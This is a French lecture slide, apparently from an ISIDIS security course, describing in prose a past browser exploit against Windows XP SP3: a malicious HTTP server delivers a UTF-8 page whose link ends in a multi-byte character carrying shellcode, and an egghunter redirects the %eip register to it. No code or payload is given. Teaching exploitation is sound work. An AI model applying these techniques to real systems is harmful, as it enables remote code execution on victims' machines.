Un exemple rigolo (2) L exploit (pour Windows XP pack 3) se composait alors d un serveur HTTP qui, lorsqu il est contacté par un navigateur internet, envoie une page HTML encodée en UTF-8 contenant un lien dont l URL est terminée par un caractère multi-byte avec un shellcode. Dans l attaque, il y avait un egghunter qui se chargait de rechercher un préfixe reconnaissable dans la mémoire et d amener le registre %eip à l adresse du code malveillant (sous la forme de la page HTML). Il s agit donc de localiser en mémoire le code à exécuter, et d y faire pointer le registre %eip. ISIDIS : cours 61 / 62

A la semaine prochaine